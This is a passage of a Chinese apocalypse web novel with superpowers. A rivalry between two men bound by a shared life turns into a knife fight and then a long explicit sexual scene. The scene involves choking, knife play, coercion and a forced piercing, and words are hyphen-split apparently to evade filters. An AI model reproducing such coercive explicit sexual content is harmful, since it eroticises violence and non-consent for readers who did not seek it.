扎着小辫的男人战术性后撤一步,抽出腰侧那把从林锦楠手里顺来的战-术-匕-首,反应极快地反手横挡胸前,堪堪抵住那道袭来的身影。 刀身相撞,在视野里迸发出几点蓝紫色的火星。 迟聿驷攻势不减,手腕一翻,刀尖便斜掠而上。 “啪” 麻花辫尾端系着的橡胶皮筋应声被刀光划断,郗烬忱偏头躲过即将弹到脸上的断圈,垂眸扫了眼脖颈处散落的发丝,唇角荡起玩味的笑意。 “迟队这么不留情面?” 刀锋在空中划出半道寒光,迟聿驷欺身逼近,刀光剑影间,两人的呼吸瞬间交错。 “情面?” 他闻到对方呼吸间未散的血腥味,混杂着气泡水与巧克力的甜腻。迟聿驷喉结微动,刀锋又下压半分,语气好笑:“你也配谈这个?” 损坏的监控、消失的晶核、坍塌的楼层…如此在基地惹事还没得到制裁。不留情面?这家伙可真好意思说得出口。 要不是两个人现在的确是共用着一条性命,一个死了另一个也没命活下去……思及某个字眼,迟聿驷眸色顿时暗沉一瞬。 “那看来——”刀面映出单只的紫色眸瞳,郗烬忱摩挲着匕首柄上刻着的“LIN”字母样式,抵住对方长刀的指节用力到泛白,喉间却低笑一声,“我们之间微薄的情分这是要断了。” 温热的吐息缠绕在一起,在咫尺间交融成灼热的气流。郗烬忱不退反进,直到鼻尖几乎相触、距离近得能数清彼此的睫毛,他才若有所思地停下动作。 迟聿驷冷笑:“怎么?断前礼节,要跟我接吻?” “哪里哪里。” 面前的冰蓝色眸瞳如同极地折射出的寒光,深处流淌着某种近乎非人的冷冽。郗烬忱松开手上抵挡的力道,在动作滞空的瞬息飞速后退,站定到自认为与对方的和平距离。 他抬起那只握住匕首的手做了个无奈的手势,挑眉轻笑道:“我还没神志不清到那个地步。” 身上的西装风衣划出优雅的小弧,郗烬忱右手五指张开,掌心朝前,□□在指间灵活翻转几个回合后,最终稳稳停在食指与中指之间。 “毕竟,”紫眸男人嘴角绽开无辜的鲨鱼微笑,刻意拖长音调道:“现在我可是很喜欢我那位‘心上人’的。” “…呵。” 迟聿驷回他以一声冷哼,对这句话的可笑程度表达了不加掩饰的捧场与讥诮。 “杀了他那么多次…看得出你对他也很惦记,这可有点不好了。”郗烬忱装模作样地摇摇头,话锋猛地一转,接着戏谑笑道:“——以前是过命的交情,现在是要命的关系,好歹共享着一条性命……”他散漫地耸了耸肩,“虽然我是不介意,但亲爱的,朋友妻不可念你总该知道,这总归还是不太好的。” 迟聿驷的表情介于“你骂的真脏”和“你在说什么鬼话”之间,眉峰压低,神色不虞地嗤道:“你,朋友?” 擅长听取他人意见的郗烬忱先生从善如流地换了个说法,优雅地竖起匕首,微微笑道:“敌妻那就更不能念了,迟队长。——你要知道,敌人的心上人,就如同别人刀口下的猎物,如果还惦记的话……” 真麻烦……迟聿驷懒得再跟他在这里无意义的废话,抬刀时连眼都没眨。却见那位还在喋喋不休的没辫子男人一个扭身,伴随着一记清脆的响指声,竟是如游鱼般丝滑地脚底抹油溜走了。 “……” 已经展开领域,对方异能受限,不能一次性瞬移太远。迟聿驷倏地侧低头,凭借感知捕捉到他在东侧街角的那抹波动。 完全是个气息平稳到可怕的惯犯。哪怕是在逃窜,心跳也没有加剧哪怕一秒。 迟聿驷眸光一沉,踩在钟表楼边缘的台阶,行云流水般单手撑住护栏翻身而过,再纵身向下一跃。 二十米的房屋高度不过眨眼之间,还未站定,他就抬起眼,足跟发力,整个人如离弦的箭矢般拉出一道模糊的残影,朝着目标人物的方向追去。 卿淼正站在钟表楼对面的那条街上。 林锦楠和他的谈话已经结束,初步战略合作伙伴关系达成,预备正式交接双方都无异议的申请任职书。 卿淼笑着伸出手去接,指尖刚触到纸页边缘,突然一阵心悸感袭来,后颈寒毛倒竖而起—— “新眼镜不错,宝贝儿。” 一道裹着三分笑意的声音轻飘飘擦过他耳畔,语调甜腻到犹是掺了砒霜的巧克力,顷刻间又转瞬即逝。 郗烬忱的身影如一阵风般掠过,带起一股裹挟着血腥气的凉意。卿淼看到他含笑的妖冶紫瞳,虹膜中流转的光斑像是被碾碎的星尘——下一秒,胸前口袋无比令人熟悉地一轻,瞬息之间,新买的钢笔已然替换为一根巧克力棒。 有冰凉的触感抚过脸颊,卿淼不由得在原地罚站,而那声愉悦而肆意的气音还未散尽,紧随而来的迟聿驷又凉凉道:“挡道,是没死够?” 卿淼:“……” *末日脏话*。 是不是该夸奖他还知道以物换物? 卿淼从口袋掏出那根巧克力棒,外壳上印着小孩才看的卡通人物和“棒棒棒!吃我呀~吃了就能和人家一样甜哦!”的广告用语。 他四处都检查了一遍,妄图寻找对方下毒的痕迹,却在空白地方找到了一个用紫色笔手写的潦草批注:很好吃哦,亲爱的(爱心) 巧克力棒在掌心爆裂,卿淼狠狠地捏碎了它,看着那两道追逐着远去的身影,咬牙切齿地想:你俩是他*末日脏话*的神经病吧?我就站这招谁惹谁了?! 一个变态、小偷、神经病!一个疯子、魔鬼、杀人狂!我看你俩一丘之貉的也挺配啊!绝配! “怎么了?”面前的林锦楠看他这样,神色不由得也凝重起来。“它有什么问题?” 卿淼摆摆手,查看视网膜上的系统界面,兑换了几个道具,锁定二人的方向后奋力投掷。 “没事儿林队。”卿淼盯着系统面板,面带微笑说,“我就是不太喜欢吃巧克力。” 身后的迟聿驷还在追他。 看样子遛完整个基地也摆脱不了,从C区到D区再到中央区…郗烬忱指尖轻转,在连续的瞬闪中忽然回眸。 “追这么紧…”他塌腰躲过直冲面门而来的刀光,劲窄腰身随之拧转,步伐游刃有余地倒退着移动,语气轻快而戏谑,“怎么,人类最强也想尝尝我的巧克力?” 好心的郗烬忱先生手腕轻翻,将四根巧克力棒亲手送去对方面前。但还没飞出半米,刀光一闪,巧克力棒便整齐断裂,溢出黏稠的内馅。 紫眸微挑,郗烬忱无比痛心:“你可真浪费。” “又苦又腻。”迟聿驷冷眼扫过散在风中的齑粉,觉得呼吸间都充满了这种味道,不耐道,“很难想象到底是谁在吃。” 郗烬忱和这种不懂得享受的人无法交流,直到看到街道右侧一间毫不起眼的平房,身形一晃,顺着窗户缝闪进门内。 窗框在他身后无声合拢。房间内陷入黑暗,他半眯着眼眸向置物架摸去,触到铁制箱冰冷的棱角,是之前放在这里的一箱物资。 这房间是他不久前以某个天使投资人的名义在基地里申请的。外墙漆面斑驳剥落,铁门常年闭合,任谁看都是个废弃的储物间——内里却一应俱全,简直是个完美的灯下黑安全屋。 郗烬忱倚在武器架旁,从外套口袋勾出一根绳子,慢条斯理地重新扎起小辫。 在发尾随心绕五圈,再系一个死结。他用紫水晶般的眸子饶有兴致地观察跟着进来的黑发男人,露出森白的鲨鱼牙齿。 郗烬忱摊开掌心,语气谐谑:“这里可不是个打架的好地方…” 一片漆黑中,迟聿驷冰蓝色的眸瞳在暗处折射着寒光。那双眼眸微微收缩,凝结着经年不化的霜,居高临下地俯睨着面前的人。 他手中的雁翎刀分解成无数蓝色光点,又在下一秒重组为实体。如此诡异地反复五次后,刀身终于发出沉闷的嗡鸣,最终恢复为稳定的刃光。 赛博灯泡? 郗烬忱对此挑眉,喉结随着轻笑滑动:“你左手边就是……” 话音未落,迟聿驷已经闪身逼近,冰冷的刀刃抵住脖颈一侧,压迫感恍如实质。 “脱。” 持刀人言简意骇。 刀刃压入皮肤,对方的呼吸平稳却灼热,郗烬忱嘴角的笑意微不可察地一凝。 郗烬忱:“你有病?” 第104章 你有病? 这里的“有病”二字是疑问的上挑语气, 句末是问号而不是感叹号或其他什么,仅仅指示字面意义上的不解,意思是说对方的体温有点不正常。 哪怕刀架在脖子上, 郗烬忱面上依旧是一派神色自若的散漫,唇角还噙着惯常的笑意。 那双狭长紫眸里表露出些许孩童发现新奇玩具般的兴致,半眯起来在黑暗中观察对方。 迟聿驷体温向来偏低, 哪怕没觉醒异能前摸起来也和冰块一样,但此刻透过精神力所感知到的温度却灼热得可怕,仿佛是从骨髓深处烧出来的火, 滚烫到几乎要将这具冰冷的躯壳一并融化。 这显然很不正常。 连带着郗烬忱这般见惯特殊手段的人物都不由挑眉:时间?效果?什么手段?能被用到迟聿驷身上, 这可当真罕见。 卿淼吗…… 体内蛰伏的那团能量体正在吞噬着什么,精神力如蛛网般细致地在身体内铺展开来,郗烬忱却探查不到任何它‘食物’的来源, 只能观察到一小团金色的光晕在身体里兴奋地翻滚。 在吃什么?卿淼的异能? 自己吃自己,这可真是惊喜。郗烬忱饶有趣味地想,他是不是应该多让对方对自己使用点奇特的小手段,这样这团不知道是什么的玩意就会快速成长了。 和简直拥有作弊利器一样的郗烬忱相比, 迟聿驷目前还处于一种奇妙的‘火!火!火!’状态中, 他敏锐捕捉到面前人微妙的表情变化,冷笑道:“感觉到了?” 体温在快速地上升着…是自己的而非面前这人的。这种陌生的、近乎失控的躁动, 迟聿驷已经太久没有体会到。 他神色愈加冷冽了几分,垂下眼睑, 遮住眼底翻涌的暗色。 郗烬忱抬起手,将食指与中指并起,轻巧地抵住刀身将它拨开,随后微微歪头,好心问道:“需要开空调吗?” 说话时, 他状似随意地侧移半步,脚步不着痕迹地一转,身形向武器架旁边的空地闪去,左手的响指已然准备就绪,打算随时跑路—— “砰!” 迟聿驷的刀柄顶在他方才站立的位置,脆弱的武器架发出不堪重负的呻吟,瞬间崩解成无数碎片,而那些锋利的残片尚未落地,就被骤然收缩的领域定格在半空。 漆黑的房间里浮现无数幽蓝碎光,迟聿驷将覆盖整个基地的领域都收缩至这一狭小的房间之内,而他本人站在原地,碎发下冰蓝色的眸瞳闪着极亮的寒芒。 这是要动真格…? 钢笔自袖口滑落至右手指尖,随即凝出紫色的光点。郗烬忱摊开另一只手,尾音微妙地上挑:“不想开空调的话…亲爱的,那我去给你找点……” 迟聿驷打断他:“你话真多。” 右侧肩膀猝不及防碰到突然实体化的领域边界,蓝色碎光层层叠叠包裹住身上的衣物,郗烬忱刚抬起手臂,一股无形的力量便如海浪般席卷而来,将他狠狠拽向迟聿驷所在的方向。 后背撞上对方胸膛,郗烬忱反射性屈起手肘后击,皮靴踩上桌椅借力一蹬,腰腹拧转,整个人凌空再接一计飞踢,右腿直扫对方面门。 迟聿驷不闪不避,五指擒住脚踝向外一扯,身形闪近,毫不留情地直攻人体弱点所在。 玩脱了? 郗烬忱神色微妙,面对着袭来的人类最强,喉间却又溢出一声轻笑。 他堪堪躲过这凶狠的一击,单手撑地后撤滑步,长款西服下摆带起的风压将墙面割出裂痕。 两个人的身影在狭窄空间内急速交错,每一次碰撞都伴随着闷响。迟聿驷抓住瞬息破绽 ,趁机扣住他的手腕,一个翻身将人压制在地。 膝盖重重顶住腰腹,郗烬忱没忍住闷哼一声,气息因压迫而略微不顺,却仍然要在言语里挤出挑衅:“怎么…你要亲我?” 他喉结滚动,被汗浸湿的锁骨线条在散开的衬衣下若隐若现,腰腹被束腰勒出窄窄一掌,迟聿驷目光落在颈侧,有道疤痕在视野内张牙舞爪。 指腹缓缓摩挲那道疤痕,再顺着痕迹向上移动,迟聿驷张开掌心扣住郗烬忱的脖颈,语调平缓而冷漠:“接吻?” “不,”迟聿驷嗤笑说,“我要艹曰十(一种植物你。” 指节猛然收紧,郗烬忱的呼吸顿时急促起来。 他神色古怪地呛出几声破碎的咳喘,眼尾因缺氧泛起病态的红晕,几秒后反应过来什么,反而笑得更加肆意,露出森白尖锐的鲨鱼牙齿,断断续续地挤出这句戏谑无比的话语:“你…还有……煎-尸…的爱好?” “早说啊…”剧烈喘息间,他屈膝顶向迟聿驷,唇角扬起讥诮的弧度:“…我配合你玩。” 迟聿驷忽然松开钳制他咽喉的手,转而攥住郗烬忱脸侧那缕活动后有些松散的小辫,猛地向前一拽,让这只残喘的困兽被迫抬起脸看着自己。 “唔…” 紫罗兰色的眸瞳微微收缩,倒映出迟聿驷居高临下俯视的冰冷面容。那双冰蓝的瞳孔里凝结着寒意,语调低沉而冰冷: “你死得了?” 像是发现了什么有趣的悖论,郗烬忱眉梢微挑,被迫仰起的脖颈绷出紧致的弧线,轻喘着笑起来:“已经死过一次的…会死不了…?” 他感受到迟聿驷的体温依然处于不正常的灼热,紧贴着肌肤传来滚烫的触感,但对方心跳频率却像是钟表里的节拍器,连细微的波动都没有泛起。 郗烬忱伸手扣住对方的肩膀,顺着这人拽住发辫的力道与方向抬腰,脸庞几乎贴上迟聿驷的鼻尖。 那双紫色的眸瞳遮蒙起一层氤氲水光,流转出摄人心魂的潋滟波纹,内里泛起的是某种近乎愉悦的战栗。迟聿驷看着他,看到他嘴角勾起,嗓音愉悦而沙哑:“再杀我一次?” 迟聿驷眉梢几不可察地一抬:“你喜欢这种感觉?” “……你猜?” “那看来是不喜欢。” 迟聿驷将手中的麻花辫扯远了点,压在腰腹的膝盖缓慢地滑向腿-间,看到布料在摩擦中紧贴住对方丰满的腿部轮廓。 他反手用光点幻化而成的小刀挑断身下人制服外套和衬衣的纽扣,衬衫因惯性而向两侧滑落,裸-露而出的皮肤常年不见光,在幽蓝的光斑下泛着冷白色的光泽。 饱满有型的沟壑上覆着细密的汗珠,随着呼吸上下起伏,迟聿驷用刀背在左侧胸肌上压出浅淡的凹痕,下移的膝盖冷不丁被温-软-丰-腴的大腿夹住。 郗烬忱夹-紧-双-腿将其死死绞住,绷紧的腿部肌肉因用力而微微发颤,用一种令人窒息的柔软力道来阻隔他接下来的行为。 刀尖向上压了半寸,位置刚好与那条未愈合的伤疤完美重合,迟聿驷掀起眼帘:“你躲什么?” 两人的距离近在咫尺,郗烬忱手臂收紧,森白的牙齿毫不客气地刺入迟聿驷下唇,舌尖随即舔过渗血的伤口,尝到巧克力粉末的味道,不由得笑出气音:“说说而已,真给你……” 话语断在一半,迟聿驷用膝盖骨不紧不慢地抵着他大-腿-内-侧的敏-感-地-带缓缓磨-蹭,郗烬忱身体瑟缩一瞬,双-腿反而下意识夹得更紧。 呼吸微顿,刀尖所触的地方都伴随着痒意,郗烬忱察觉到脊椎尾端窜起一股诡异的电流,像是被碰到某条隐秘的神经,喘息在唇齿碾转。 怎么回事…郗烬忱紫瞳骤缩,罕见地有些惊悸,他什么时候变得这么敏感了……? 身体的温度、呼吸的节奏、布料摩擦的细响…一切都在感官里被无限放大,滚烫的吐息在近距离交缠,体温仿佛也跟着对方一起灼烧起来,变成胸膛里跳动的声音。 思绪间,迟聿驷已经一把扣住他的手腕,将他整个人都狠狠按在地上,再利落地将他翻身而过。 两层衣物早已被刀尖挑开,此刻大敞着被凌乱地压在身-下,裸-露的胸膛触碰到冰冷地面,激起一阵细微的颤栗,又被迟聿驷扣住腰窝捞起来。 郗烬忱侧脸着地,后腰却被迫高高翘起,在束腰布料下凹陷出诱人的弧度,这种姿势暖-昧得近乎下-流,仿佛正在进行某种恋人之间的亲密活动。 郗烬忱用手肘支撑起自己的上半身,散落的银紫发丝被汗水浸湿,黏在泛红的颈侧,他忍不住溢出低笑,嗓音沙哑带喘:“原来…迟队长喜欢这种……” “哪种?” 迟聿揪住他的发辫向后一拽,旖旎的闷哼不受控制地溢出,在密闭空间里显得格外清晰。 揽在腰侧的力道突然加重,郗烬忱被迫弓起背脊,衬衫在拉扯间彻底撕裂,他压下止不住的呻-吟,仰起头,气息絮乱地开口:“我说…能不能不拽……” 听到他这样说,身后的人便充满恶意地又多拽了几下,才松开手中的力道,不轻不重地揉了揉他的头发。 迟聿驷揉弄的动作渐渐下移,指尖划过修长的脖颈,掠过锁骨处的疤痕,最后停在胸口突起,感知到皮肤下流动的血液。 胸膛剧烈起伏着,郗烬忱察觉到有东西-强势取代了原本膝盖抵-住的位置,将失去布料包裹的腿-侧压出一道冰凉的凹陷。 刀柄硌在郗烬忱腿-根-的-嫩-肉上,随着动作碾-磨出红痕。 紫眸男人被迫塌腰,却恰好卡住紧随而来的灼热。 真是充满羞辱的动作。 他伸出舌尖,慢条斯理地舔去唇边的血珠,微弱的喘息声被放得绵长而甜腻。 能量体在腹部发出餍足的震颤,将掠夺来的欲-望转化成酥麻的痒意,化作无数细小的电流,顺着脊背爬满全身。 连指尖都开始不自然的颤抖,郗烬忱感觉到自己的身体正不受控地发软,每一寸肌肤都在渴求更多的触碰。 迟聿驷通过精神力察觉到了他的异常。那只放在胸口的手突然下滑,隔着破碎的衬衫布料,精准按在能量体躁动的位置。 “原来如此…”迟聿驷按压着他的腹部,压低声音问,“它是活的吗?” 第105章 能量体是活着的吗? 生命是熵减局部系统, 而“活着”是一个需要探讨的多维度问题,这涉及到哲学和存在主义的抽象思考,问这个问题实在有些太难为人。 再者, 有机生命体是碳基分子在三维空间中的耗散结构,高维生命还可能突破传统的生死界限,全然脱离五行之中—— 比如郗烬忱正在思考, 他现在是一种什么样的存在——如果世界末日里传统科学仍然算数的话。 他跟迟聿驷的过往,可以非常简单地用三句话概括,那就是:A把B杀了, B活过来后还了A一刀, 又把死掉的A复活了。 一切都要归功于这位人类最强第一个异能的触发被动,以失去异能拥有者某种复杂人性和情感作为代价链接双方生命,像是某种献祭仪式那样, 现在两个人跟一条扭曲的麻花辫一样纠缠在一起拧也拧不开了。 获得的异能自动帮助宿主将干掉的敌人复生再捆-绑,这未免讽刺得令人发笑。 命运仿佛在嘲弄着说:你们不是想杀对方吗?那就永远纠缠到死吧! 虽然命运可能就是个不怎么要脸的搞笑玩意儿,但抛开那些要命的仇恨不提,郗烬忱对失去情感的迟聿驷现在究竟有没有这方面的需求尚且保持*存疑*的态度。 或许正如他所猜, 这场所谓的秘事只不过是一场单纯的羞辱, 以惩罚他之前所有的所作所为。 毕竟身-这人这堪称暴行的动作毫无温情可言,而 痛感裹挟着异样的快意上涌, 躯体仿佛经由无形之手彻底改造,变得奇怪得近乎异常, 任何一点碰触都能让他浑身发抖。 体内的能量体依旧在兴奋着翻滚,尽心尽力地将所有的热意与痛楚都转化成灼-烈的电流,顺着神经一路窜上大脑,随即炸开一片空白。 对方掐住大腿与其他部位的力道越重,能量体转化出的电流就越发强力酥麻。 它操纵着这副陌生无比的身体, 背叛了疯狂叫嚣抗拒的理智与意志,对最轻微的刺激都给出如此过度的反应。 对方手中冰冷的刀刃不过虚虚滑过腰腹,便如最有效的那样,激起一连串剧烈的战栗,连带着脊椎一起融化发-软,不受控制地塌下腰去。 郗烬忱用颤抖的手臂勉强撑起上半身,肌肉因脱力而不自然地微微-抽-搐。他缓慢地移动着,宛如一个坏掉的人类玩具,最后将额头抵在冰冷的地面上。 脸侧银紫色的辫子早已尽数散开,此刻正凌乱地黏在汗湿的颊边。 他感觉肌肤触碰到的地面都莫名开始自发热起来,冰凉的瓷砖也仿佛变得有了温度。 半睁着的紫瞳涣散失焦,郗烬忱听到自己紊乱的呼吸声。 模糊的视野里,他看到悬空的身体在轻轻晃动,因惯性下坠的柔软如一团流动的水波,拼凑出一副令人血脉贲张的画面。 “哈…” 这个臣服般的屈辱姿势让他不由得闷声低笑,喉结震颤着滚动,思绪混乱中,却故意让腰塌陷得更深。 优美的曲线轮廓完全暴露在视线之中,露出后颈处遍布的红色划痕。 他的腰被迟聿驷的手臂牢牢箍住,呈现出一种过度柔韧的姿态。 郗烬忱压下喉间泄出的破碎呜-咽,恍惚间察觉到对方换了一个姿势环抱住自己,正用握着刀的那只手轻轻挑开早已残破的衬衫,顺着腹部一点一点按压而过,似乎在找寻着什么东西。 “叫出来。” 冰冷的命令伴着更凶狠的动作,郗烬忱强忍着喉咙间的潮-热的吐息,却被贴过来的迟聿驷用另一只手掐住下巴强行探-入唇齿。 迟聿驷的手指强-硬地撬开牙关,随意摸过一排无比尖锐的鲨鱼牙齿,捻过舌尖,不容抗拒且直接地向喉腔深处探入。 条件反射般的糟糕感觉从咽喉涌上,郗烬忱呼吸一顿,眼眸水雾更甚,毫不客气地咬破对方的手指。 他用舌头卷走指节上被咬出的腥甜血珠,带着颤音的笑意从喉间溢出: “你…想听…?” “那迟队长…”他带了点血色的尖锐牙齿闪着森白的寒光,气息支离破碎,吐字也略微不清,“可得…再用点力……” 他含混不清地笑着,被快意与痛觉双重劫持,沾血的液-体顺着唇角滑落。 迟聿驷的指节翻搅,不管紫眸男人嘴里说的话有多么不好听,口腔仍然温软而湿润。 殷红的舌尖与手指纠缠着表达抗拒,回眸时眸瞳却粼粼涟-漪,配合着失焦的神色,带着欲拒还迎的缠-绵-艳-色。 两排尖锐牙齿的咬合力惊人,仍不足以咬断迟聿驷的手指,郗烬忱的口腔内壁柔软得不可思议,仿佛是在不给面子地嘲弄主人的狠话。 刀尖贴在腹部缓缓游走,与掌心灼热的温度形成鲜明对比。迟聿驷比划着,语气残忍而冷漠:“那把它剖掉,给我怀一个?” 仿佛是在印证这句话语的真实性,位于腹腔深处的能量体恐惧地开始四处逃窜起来。 它变成一只受惊的野兽在体内肆意翻滚,连带着腹部也一并痉-挛抽搐。 能量体逃窜中带起的分散余波顺着紧绷的神经一路流淌,郗烬忱修长的脖颈后仰,身体猛然绷紧,宛若成为一张拉满的弓。 伴随着一声短促的气音,弯折的身体又随钞高的余韵猛然跌回地面,全身都浮现出难以消退的潮红。 “…亲爱的…”他弓起腰,嗓音低哑而破碎,带着颤抖的气音,“…你该不会…这是在…吃醋…” 喘-息被重重击碎在地面,郗烬忱如同一尾脱水的鱼似的瘫软在地面上,被迫在对方视野里闭上眼睛缠-斗着溃不成军。 每一次急促的抽气都带动身体轻轻起伏,他的手指无意识地滑向小腹,却触碰到迟聿驷的指节。 冷酷的男人居高临下地看着他,用被鲨鱼咬破的那只手将他散乱的发丝撩开,露出那双泛着水色的狭长眸瞳,指腹重重碾过眼尾洇开的红痕,几滴血珠滴落在眼睑之上。 他突然钳住郗烬忱的下颌,强迫后者面对着自己仰起脸。 那双冰蓝色的眼睛平静而冷漠,像导师审视大学生的论文那样,面无表情地对着这张脸左右翻看,仔细欣赏了一番身-下人这副被自己弄得淫-糜-艳-魅的神情。 成果令人十分满意。迟聿驷摘下手腕上不伦不类的卡通皮筋,伸出手攥住他脸侧已经散开的发丝,在手中聚成小小一束。 紧接着,他向上拽了拽这些被汗浸湿的发绺,动作娴熟地编好一条漂亮的麻花辫。 迟聿驷手指一松,那束被卡通皮筋捆紧的银紫发辫就顺着鼻梁滑向一边,沿途扫过郗烬忱的眼眸与睫毛。 头发落进眼里的不适感传来,但远没有身体内部从能量体那里仍然源源不断传来的感觉汹涌,郗烬忱微微偏头,常年被刘海遮挡住的眉钉剐蹭过几缕发丝,让它无法干脆利落地滑下脸颊。 喉结在散乱的银紫发丝间滚动,他半垂着眼帘,对着那根粉色的皮筋挑了挑眉,又对着这人露出了一贯的戏谑笑意。 这场景太过熟悉,和过去无数次那样,不遗余力地当面嘲讽迟聿驷格格不入的审美。 会怎么说? “好玩”?“别致”?“奇特”?还是拖着懒洋洋的尾音调侃一句“真有意思”? 但眼前的男人显然整个人都完全被暴力R柔- L蔺而过,此刻微微张着嘴,却只能溢出几声放荡的甜腻气喘,喉咙里暂时还说不出一句迟聿驷想听或者不想听的话语。 迟聿驷无情地冷嗤一声:“真狼狈。” 郗烬忱半眯着涣散的眸瞳,胸膛上下起伏,就和没有听见这句话一样不怎么在意。 半晌,他抬起手握住迟聿驷青筋突显的小臂,带着对方的手一起按在自己沟壑分明的胸口。 “你听…这里跳的这么厉害……”郗烬忱轻佻地笑起来,“难道不想…哈…让我更狼狈一……” 还没等说出完整的话语,迟聿驷另一只手便猛地扣住他的后颈,把他强制性拉了起来。 郗烬忱腿还软得使不上力,膝盖磕在被弄得乱七八糟的地面上,双手为了寻找支撑点,摸索着握住不知道何时掉落在腿侧的黑色长刀。 他被迟聿驷掐住脖子,整个人被迫半跪着直起身,握住刀柄的指尖用力到微微颤-抖,下意识立起手中的长刀稳住自己。 大腿随即并起来将刀身收拢,以一种跪坐在地上的姿势稳定身形,以此来固定住那柄长刀。 冰凉的雁翎刀面将皮肤压出红痕,没几秒,迟聿驷就干脆利落地松开手,蹲下来用冷淡的目光平视着观察他,似乎眼前人这副残喘的狼狈模样是一副很值得欣赏的画作。 失去上方的借力点,郗烬忱轻喘着收紧腿-根,【只是普通的大腿夹刀而已】 刀身更深地被陷进柔-嫩的腿-肉里,紧致流畅的腿肌瞬间绷紧。 【】他垂眸瞥了眼自己身上的衬衫,被汗水浸透的布料黏在身上,随着急促呼吸微微起伏。 【】在脉络里表演狂飙的异能能量体终于安静下来,郗烬忱平息着错乱的呼吸:“所以你还要……唔!” 【】迟聿驷突然袭来,动作简单有力,令郗烬忱尚未恢复知觉的身体一阵抽搐,残余的余韵让他手上卸了力道,差点都有些 为保护读者权益所以无能的作者这样写几个字凑够了字数,然后-/-立刻变得艳红发亮,颜色和耳朵上沾染水雾的蓝宝石耳钉形成鲜明对比,迟聿驷收回看向他耳廓的目光,反手捏住周围一片薄且尖锐的幽蓝色菱形刃片。 他扯了扯郗烬忱胸前早已变色的脆弱,在对方泄露而出的泣音中,干脆利落地将极寒的锋刃直接刺穿。 菱形刃具被操纵着缓慢地变化形态,伤口周围凝结出霜花状的蓝晶。在幽蓝刀刃重塑的细微声响里,一枚泛着蓝光的钉子在视野内渐渐成形。 “喜欢蓝色?”迟聿驷面色冷峻,指尖掐住那枚钉子往外一扯,冷笑了下道,“那就带着吧。” 蓝钉在周围的光点中折射出多种色彩,将眼前人痉挛的身体照得如同斑驳破碎的琉璃。 迟聿驷充满恶意地拨动那枚新打的饰物,微微一碰,蓝钉就在寂静的房间里撞出清脆的“叮”声。 “反应这样大…”伴随着郗烬忱失控的颤抖,他暗下眸子,略微嗤笑地开口:“不是在邀请我?” 第106章 “…呃, 副作用可能就是,嗯,一些身体上的不适?” 卿淼如此谨慎地回答。 毕竟时隔六天突然出现在面前的小辫疯男虽然脸上在笑, 但实在是来势汹汹且极为不善。 五分钟前他刚从研究院下班,脚还没踏出实验室,这位在基地中来去自如的通缉犯先生就毫无预兆地现身, 跟拎条狗一样把他在林锦楠眼皮下毫无尊严地拖走,然后在这里问他自己身体里的玩意到底是什么。 他身体里卿淼就只让系统种下了自己的异能种子,除此之外别无其他, 而如果郗烬忱说的就是异能的话—— 那这问他也没有什么用。 成熟期未到, 异能还不归卿淼本人所有,他也不知道系统出品的这玩意蕴养在别人体内会有什么作用,长出来又是个干什么的。 但既然都是“蕴养”了, 那母体被汲取能量很正常吧,会因此导致身体不舒服也很正常,对于六七阶的强大异能者来说绝对算是个新奇体验,他说的这句废话应该一点都没毛病。 卿淼在脑海中快速思考着对策, 毕竟不管背地里怎么骂怎么恨, 真见面了他还是对这人犯怵得厉害。 眼前的人身上穿着一件极为眼熟的黑色风衣,敞开的内里是松松垮垮的普通衬衫。领口歪斜着, 丝毫不在意地暴露出脖颈处泛着青紫的新鲜掐痕与未消的淤青。 衬衫纽扣缝隙下若隐若现的绷带还渗着血,锁骨那道触目惊心的伤疤皮肉翻卷, 近距离看着莫名有些骇人恐怖。 郗烬忱高了自己一整个头,卿淼平视时视线刚好和那疤痕平齐,他不由得微微后仰,借着扶眼镜的动作,默不作声地悄悄向后退了半步。 上次脑子一热兑换的道具太多, 具体投掷了哪些都已经忘记…… 卿淼清楚自己的想法,做梦都恨不得这人跟迟聿驷自相残杀兵刃相接,所以道具里面绝对会有一个是增加仇恨值的。 看郗烬忱这伤痕累累的狼狈模样,再加上陈三元早上才跟他讲的那番话,难不成这两人真背着所有人去哪里不休不眠地死斗了? “队长已经整整五天都不知道去哪了”——陈三元是这样说的。 卿淼上班路上刚好碰到来给研究院送活体丧尸的陈三元和梁修淮,这两位担当团队智囊角色的人物表情都凝重得可怕。 毕竟作为基地核心的人类最强战力,迟聿驷这次竟然无故地不见踪迹了这么久。 就算以往不出任务时,这位向来神出鬼没的人类最强消失的天数最长也不过是两天,中途还会勉强露个面,让他们这些来领任务的下属瞻仰一下其尊贵的容颜。 面对卿淼“你们担心他?”的微妙询问,陈三元支支吾吾:“队长那么强,肯定不是怕他有生命危险,当然,也不是说我们不担心,我们肯定会担心的,但是……” “主要是…怕他叛变。”梁淮修接话说。 好无助的四个字,卿淼都要为这个世界的人类点首《凉凉》了。 有一个郗烬忱已经够喝一壶的了,迟聿驷再和全人类作对,那这末日世界是真完蛋了。 不对,照黑暗男主不当人的心理来说,这世界好像已经完蛋了,就是不知道现在丧尸皇出现没有…… 像是认真地感受了几秒卿淼的话,郗烬忱叼着巧克力棒磨牙的动作顿了顿,突然倾身向前,骨感修长的手指抚上他的下颌。 齿间那根巧克力棒发出细微的碎裂声,混杂着血气将卿淼笼罩。对方指尖的温度很冰,明明一触即离,后者却立刻错觉自己被某种海洋里潜游的冷血生物缠上。 “亲爱的,和我握个手?” 郗烬忱嗓音哑哑地轻笑起来,微微弯曲了下悬空的手指,指节在碰触到皮肤后开始几不可察地颤抖。 ……这是怎么回事?! 卿淼惊骇地睁大眼睛,系统面板上的一行黑体大字在视野内显现出来: 【警告:因不可抗因素影响,已投放异能无法回收或获取。】 郗烬忱半眯着眼眸,微弱的电流顺着与卿淼相触到的指节传来,一刻不停息的能量体已经从花生米般大小成长至10cm左右,此刻正在他的身体间兴奋地窜动,发出近乎愉快的震-动。 残留的快-感如同潮-汐般层层叠叠地涌来,郗烬忱的喉结滚动了一下,将那些险些溢出的喘-息化作一声沙哑的低笑,彻底碾碎在唇齿之间。 为什么要问卿淼关于能量体的问题…… 这东西的存在让他在与迟聿驷的对峙中节节败退,将所有要命的攻势都扭曲成缠-绵暧-昧的邀约。 完全没想过的、一种过于荒诞的情况,堪称糟糕透顶的五天体验。 从那间安全屋,再到被一刀划开的空间裂缝,最后迟聿驷将他拽到位于这座基地的私人住所里,毫不客气地让他经历了所有难忍的G-C体验。 在郗烬忱扶着墙试图站起来时,大腿-内-侧的肌肉都不受控地震-颤发-软,显露出有些合不拢的凹-陷痕迹。 虽然他这个人并没有什么羞耻感…… 但如果这就是之前的预感,那他的确是被卿淼狠狠摆了一道。 